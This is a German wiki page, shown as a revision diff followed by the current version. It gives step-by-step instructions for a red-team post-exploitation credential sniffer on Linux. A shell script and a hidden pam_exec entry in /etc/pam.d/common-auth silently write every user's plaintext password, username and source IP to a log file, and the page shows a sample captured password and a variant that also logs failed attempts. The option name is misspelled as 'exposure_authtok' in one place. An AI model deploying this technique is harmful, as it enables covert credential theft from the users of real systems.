Sniffing Logon Passwords with PAM: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „=Grundsätzliches= *Pluggable Authentication Modules (PAM) auf Unix-basierten Systemen sind nützlich, um das Anmeldeverhalten zu ändern und die Authentifizie…“) |
|||
| (8 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 7: | Zeile 7: | ||
#!/bin/sh | #!/bin/sh | ||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log | echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log | ||
| + | |||
| + | ;Die Variablen sind PAM-spezifisch und werden über das Modul pam_exec.so verfügbar= | ||
| + | ;Hier ist die Bedeutung der Variablen: | ||
| + | |||
| + | *$PAM_USER: Der eingegebene Benutzername. | ||
| + | *$PAM_RHOST: Der Remote-Host (normalerweise die IP-Adresse) | ||
| + | *$(cat -): Dies liest stdin und enthält das Passwort, das das Skript abruft | ||
| + | |||
| + | ;Die Ergebnisse werden in eine Protokolldatei unter /var/log/toomanysecrets.log geleitet | ||
| + | ;Um zu verhindern, dass alle Benutzer die Datei lesen, sollten Sie sie vorab erstellen und chmod ausführen, z. | ||
| + | *chmod 770 /var/log/toomanysecrets.log | ||
| + | |||
| + | =Aktualisieren der PAM-Konfigurationsdatei common-auth= | ||
| + | ;Als nächstes muss die PAM-Konfigurationsdatei aktualisiert werden, das pam_exec-Modul wird verwendet, um das Skript aufzurufen. | ||
| + | ;Es gibt verschiedene Konfigurationsdateien in /etc/pam.d/, und wir wählen common-auth. | ||
| + | */etc/pam.d/common-auth | ||
| + | ;Fügen Sie ganz unten in der Datei das folgende Authentifizierungsmodul hinzu: | ||
| + | auth optional pam_exec.so quiet exposure_authtok /usr/local/bin/toomanysecrets.sh | ||
| + | ==Die Optionen haben folgende Bedeutung== | ||
| + | *optional: Die Authentifizierung sollte nicht fehlschlagen, wenn ein Fehler auftritt (dies ist kein erforderlicher Schritt) | ||
| + | *pam_exec.so: Dies ist das vom Land lebende PAM-Modul, das beliebige Skripte aufrufen kann | ||
| + | *exposure_authtok: Dies ist der Trick, der es erlaubt, das Passwort über stdin auszulesen | ||
| + | *quiet: Dem Benutzer keine Fehler anzeigen (wenn etwas nicht funktioniert) | ||
| + | *Das letzte Argument ist das zuvor erstellte Shell-Skript | ||
| + | ==Auswertung== | ||
| + | *tail -f /var/log/toomanysecrets.log | ||
| + | Mon Oct 10 16:51:41 UTC 2022 xinux, 123Start$, From: 10.0.10.105 | ||
| + | =Wenn man auch die Fehlversuche sehen will= | ||
| + | *Muss man das Modul einfach weiter nach vorne setzen | ||
| + | auth [success=2 default=ignore] pam_unix.so nullok | ||
| + | auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh | ||
| + | =Quelle= | ||
| + | *https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/ | ||
Aktuelle Version vom 11. Februar 2025, 12:44 Uhr
Grundsätzliches
- Pluggable Authentication Modules (PAM) auf Unix-basierten Systemen sind nützlich, um das Anmeldeverhalten zu ändern und die Authentifizierung auf verschiedene Weise zu erzwingen.
- Angenommen, während einer Red-Team-Übung wurde ein Linux-Host kompromittiert.
- Zuerst erstellen wir ein Bash-Skript, das immer dann aufgerufen wird, wenn eine neue Authentifizierung erfolgt.
Erstellung des Skripts
- cat /usr/local/bin/toomanysecrets.sh
#!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
- Die Variablen sind PAM-spezifisch und werden über das Modul pam_exec.so verfügbar=
- Hier ist die Bedeutung der Variablen
- $PAM_USER: Der eingegebene Benutzername.
- $PAM_RHOST: Der Remote-Host (normalerweise die IP-Adresse)
- $(cat -): Dies liest stdin und enthält das Passwort, das das Skript abruft
- Die Ergebnisse werden in eine Protokolldatei unter /var/log/toomanysecrets.log geleitet
- Um zu verhindern, dass alle Benutzer die Datei lesen, sollten Sie sie vorab erstellen und chmod ausführen, z.
- chmod 770 /var/log/toomanysecrets.log
Aktualisieren der PAM-Konfigurationsdatei common-auth
- Als nächstes muss die PAM-Konfigurationsdatei aktualisiert werden, das pam_exec-Modul wird verwendet, um das Skript aufzurufen.
- Es gibt verschiedene Konfigurationsdateien in /etc/pam.d/, und wir wählen common-auth.
- /etc/pam.d/common-auth
- Fügen Sie ganz unten in der Datei das folgende Authentifizierungsmodul hinzu
auth optional pam_exec.so quiet exposure_authtok /usr/local/bin/toomanysecrets.sh
Die Optionen haben folgende Bedeutung
- optional: Die Authentifizierung sollte nicht fehlschlagen, wenn ein Fehler auftritt (dies ist kein erforderlicher Schritt)
- pam_exec.so: Dies ist das vom Land lebende PAM-Modul, das beliebige Skripte aufrufen kann
- exposure_authtok: Dies ist der Trick, der es erlaubt, das Passwort über stdin auszulesen
- quiet: Dem Benutzer keine Fehler anzeigen (wenn etwas nicht funktioniert)
- Das letzte Argument ist das zuvor erstellte Shell-Skript
Auswertung
- tail -f /var/log/toomanysecrets.log
Mon Oct 10 16:51:41 UTC 2022 xinux, 123Start$, From: 10.0.10.105
Wenn man auch die Fehlversuche sehen will
- Muss man das Modul einfach weiter nach vorne setzen
auth [success=2 default=ignore] pam_unix.so nullok auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh